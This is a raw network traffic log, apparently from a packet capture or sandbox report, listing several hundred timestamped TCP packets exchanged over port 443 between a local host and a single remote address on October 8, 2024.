Oct 8, 2024 02:46:15.023458958 CEST	443	51415	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.027945042 CEST	443	51412	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.027955055 CEST	443	51414	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.028527021 CEST	443	51414	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.028549910 CEST	443	51412	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.028579950 CEST	443	51414	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.028680086 CEST	51412	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.028744936 CEST	51414	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.028744936 CEST	51414	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.033277035 CEST	51415	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.033338070 CEST	443	51415	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.033644915 CEST	51415	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.033698082 CEST	443	51415	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.033890963 CEST	51412	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.033931971 CEST	443	51412	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.033960104 CEST	51412	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.033974886 CEST	443	51412	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.035599947 CEST	51414	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.035599947 CEST	51414	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.035645962 CEST	443	51414	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.035676003 CEST	443	51414	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.037791967 CEST	51417	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.037894011 CEST	443	51417	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.037974119 CEST	51417	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.038103104 CEST	51417	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.038121939 CEST	443	51417	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.039122105 CEST	51418	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.039203882 CEST	443	51418	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.039284945 CEST	51418	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.039494038 CEST	51418	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.039534092 CEST	443	51418	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.092308998 CEST	443	51413	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.092437983 CEST	443	51413	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.092523098 CEST	51413	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.094448090 CEST	51413	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.094449043 CEST	51413	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.094518900 CEST	443	51413	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.094554901 CEST	443	51413	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.103770018 CEST	51419	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.103883028 CEST	443	51419	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.103960991 CEST	51419	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.104186058 CEST	51419	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.104207993 CEST	443	51419	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.132620096 CEST	443	51415	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.132824898 CEST	443	51415	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.132987022 CEST	51415	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.135216951 CEST	51415	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.135216951 CEST	51415	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.135282993 CEST	443	51415	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.135318995 CEST	443	51415	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.144608974 CEST	51420	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.144666910 CEST	443	51420	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.144727945 CEST	51420	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.144849062 CEST	51420	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.144859076 CEST	443	51420	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.561204910 CEST	443	51416	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.561870098 CEST	51416	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.561928988 CEST	443	51416	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.562330008 CEST	51416	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.562342882 CEST	443	51416	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.662915945 CEST	443	51416	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.663227081 CEST	443	51416	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.663304090 CEST	51416	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.663482904 CEST	51416	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.663505077 CEST	443	51416	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.663520098 CEST	51416	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.663527012 CEST	443	51416	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.667716026 CEST	51421	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.667768002 CEST	443	51421	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.667833090 CEST	51421	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.668317080 CEST	51421	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.668329954 CEST	443	51421	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.678215981 CEST	443	51419	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.678685904 CEST	51419	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.678699017 CEST	443	51419	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.679094076 CEST	51419	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.679099083 CEST	443	51419	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.686356068 CEST	443	51418	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.686640978 CEST	51418	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.686678886 CEST	443	51418	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.686944008 CEST	51418	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.686950922 CEST	443	51418	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.698831081 CEST	443	51417	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.699153900 CEST	51417	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.699162006 CEST	443	51417	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.699516058 CEST	51417	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.699526072 CEST	443	51417	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.780647993 CEST	443	51419	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.781028986 CEST	443	51419	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.781090975 CEST	51419	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.781131029 CEST	51419	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.781148911 CEST	443	51419	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.781162024 CEST	51419	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.781167984 CEST	443	51419	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.784100056 CEST	51422	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.784138918 CEST	443	51422	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.784214973 CEST	51422	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.784374952 CEST	51422	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.784385920 CEST	443	51422	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.786874056 CEST	443	51418	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.786938906 CEST	443	51418	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.786987066 CEST	51418	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.787019014 CEST	443	51418	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.787026882 CEST	443	51420	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.787038088 CEST	443	51418	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.787084103 CEST	51418	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.787213087 CEST	51418	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.787226915 CEST	443	51418	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.787240982 CEST	51418	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.787247896 CEST	443	51418	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.787395000 CEST	51420	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.787431002 CEST	443	51420	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.787981033 CEST	51420	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.787987947 CEST	443	51420	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.789566040 CEST	51423	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.789594889 CEST	443	51423	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.789665937 CEST	51423	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.789832115 CEST	51423	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.789840937 CEST	443	51423	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.802387953 CEST	443	51417	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.802710056 CEST	443	51417	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.802757978 CEST	51417	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.802800894 CEST	51417	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.802804947 CEST	443	51417	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.802831888 CEST	51417	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.802835941 CEST	443	51417	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.806725025 CEST	51424	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.806735992 CEST	443	51424	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.806813002 CEST	51424	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.806989908 CEST	51424	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.807002068 CEST	443	51424	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.886286974 CEST	443	51420	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.886440992 CEST	443	51420	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.886670113 CEST	51420	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.886718035 CEST	51420	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.886739969 CEST	443	51420	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.886754990 CEST	51420	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.886761904 CEST	443	51420	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.890835047 CEST	51425	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.890870094 CEST	443	51425	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:15.891077042 CEST	51425	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.891263962 CEST	51425	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:15.891275883 CEST	443	51425	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.350636005 CEST	443	51421	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.351394892 CEST	51421	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.351433992 CEST	443	51421	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.351725101 CEST	51421	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.351732969 CEST	443	51421	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.456237078 CEST	443	51421	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.456788063 CEST	443	51421	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.457091093 CEST	51421	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.457092047 CEST	51421	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.457092047 CEST	51421	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.459645987 CEST	51426	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.459743023 CEST	443	51426	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.460007906 CEST	51426	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.460007906 CEST	51426	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.460160971 CEST	443	51426	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.532016993 CEST	443	51422	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.532788038 CEST	51422	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.532850981 CEST	443	51422	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.533176899 CEST	51422	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.533231974 CEST	443	51422	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.534039021 CEST	443	51423	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.534341097 CEST	51423	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.534373999 CEST	443	51423	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.534641027 CEST	51423	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.534646988 CEST	443	51423	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.538669109 CEST	443	51424	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.538989067 CEST	51424	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.538996935 CEST	443	51424	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.539558887 CEST	51424	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.539563894 CEST	443	51424	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.558221102 CEST	443	51425	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.558804035 CEST	51425	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.558837891 CEST	443	51425	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.559153080 CEST	51425	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.559160948 CEST	443	51425	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.631885052 CEST	443	51422	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.631958961 CEST	443	51422	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.632019043 CEST	51422	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.632085085 CEST	443	51422	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.632129908 CEST	443	51422	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.632167101 CEST	443	51423	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.632172108 CEST	51422	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.632225990 CEST	443	51422	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.632258892 CEST	51422	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.632258892 CEST	51422	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.632278919 CEST	443	51422	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.632285118 CEST	443	51423	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.632302999 CEST	443	51422	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.632337093 CEST	51423	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.633130074 CEST	51423	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.633148909 CEST	443	51423	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.633162022 CEST	51423	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.633168936 CEST	443	51423	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.635138988 CEST	51427	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.635163069 CEST	443	51427	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.635215998 CEST	51427	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.635370016 CEST	51428	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.635467052 CEST	443	51428	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.635471106 CEST	51427	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.635484934 CEST	443	51427	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.635533094 CEST	51428	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.635710955 CEST	51428	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.635741949 CEST	443	51428	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.642960072 CEST	443	51424	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.643084049 CEST	443	51424	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.643126011 CEST	51424	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.643127918 CEST	443	51424	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.643174887 CEST	51424	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.643265963 CEST	51424	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.643273115 CEST	443	51424	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.645659924 CEST	51429	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.645761967 CEST	443	51429	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.645833969 CEST	51429	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.645991087 CEST	51429	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.646023035 CEST	443	51429	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.660530090 CEST	443	51425	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.660602093 CEST	443	51425	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.660650015 CEST	51425	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.660772085 CEST	51425	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.660790920 CEST	443	51425	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.660803080 CEST	51425	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.660808086 CEST	443	51425	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.662898064 CEST	51430	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.662944078 CEST	443	51430	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.662995100 CEST	51430	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.663110018 CEST	51430	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.663130045 CEST	443	51430	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:16.767462969 CEST	51421	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:16.767530918 CEST	443	51421	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.124389887 CEST	443	51426	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.124897003 CEST	51426	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.124946117 CEST	443	51426	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.125401020 CEST	51426	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.125408888 CEST	443	51426	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.227546930 CEST	443	51426	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.227668047 CEST	443	51426	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.227725029 CEST	51426	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.227773905 CEST	443	51426	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.227801085 CEST	443	51426	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.227843046 CEST	51426	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.227869034 CEST	51426	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.227886915 CEST	443	51426	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.227895021 CEST	51426	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.227900028 CEST	443	51426	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.230139971 CEST	51431	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.230187893 CEST	443	51431	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.230278015 CEST	51431	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.230400085 CEST	51431	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.230406046 CEST	443	51431	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.288897991 CEST	443	51428	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.289469957 CEST	51428	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.289498091 CEST	443	51428	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.289971113 CEST	51428	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.289978981 CEST	443	51428	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.293874979 CEST	443	51430	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.294116974 CEST	51430	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.294162035 CEST	443	51430	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.294393063 CEST	51430	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.294403076 CEST	443	51430	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.302119970 CEST	443	51427	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.302330017 CEST	51427	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.302372932 CEST	443	51427	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.302599907 CEST	51427	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.302609921 CEST	443	51427	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.308202982 CEST	443	51429	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.308415890 CEST	51429	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.308454037 CEST	443	51429	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.308720112 CEST	51429	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.308728933 CEST	443	51429	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.389595985 CEST	443	51428	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.389749050 CEST	443	51428	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.389800072 CEST	51428	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.389935017 CEST	51428	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.389956951 CEST	443	51428	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.389967918 CEST	51428	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.389972925 CEST	443	51428	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.392339945 CEST	443	51430	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.392385960 CEST	443	51430	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.392429113 CEST	443	51430	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.392435074 CEST	51430	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.392476082 CEST	51430	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.397478104 CEST	51430	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.397517920 CEST	443	51430	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.397541046 CEST	51430	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.397551060 CEST	443	51430	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.403511047 CEST	51432	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.403608084 CEST	443	51432	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.403681040 CEST	51432	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.404453993 CEST	51433	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.404499054 CEST	443	51433	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.404567003 CEST	51433	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.404655933 CEST	443	51427	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.404809952 CEST	51432	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.404846907 CEST	443	51432	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.404894114 CEST	51433	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.404905081 CEST	443	51433	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.405266047 CEST	443	51427	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.405308008 CEST	443	51427	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.405318022 CEST	51427	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.405344009 CEST	51427	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.405380964 CEST	51427	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.405400991 CEST	443	51427	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.405415058 CEST	51427	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.405421019 CEST	443	51427	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.407666922 CEST	51434	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.407675982 CEST	443	51434	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.407731056 CEST	51434	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.407825947 CEST	51434	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.407834053 CEST	443	51434	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.411406040 CEST	443	51429	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.411550045 CEST	443	51429	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.411602974 CEST	51429	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.469829082 CEST	51429	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.469876051 CEST	443	51429	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.469901085 CEST	51429	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.469909906 CEST	443	51429	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.474705935 CEST	51435	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.474798918 CEST	443	51435	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.474879026 CEST	51435	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.475941896 CEST	51435	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.475985050 CEST	443	51435	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.822767973 CEST	443	51431	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.828037977 CEST	51431	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.828097105 CEST	443	51431	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.828607082 CEST	51431	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.828620911 CEST	443	51431	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.928957939 CEST	443	51431	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.929157972 CEST	443	51431	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:17.929224968 CEST	51431	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:17.929514885 CEST	51431	443	192.168.2.4	13.107.246.45
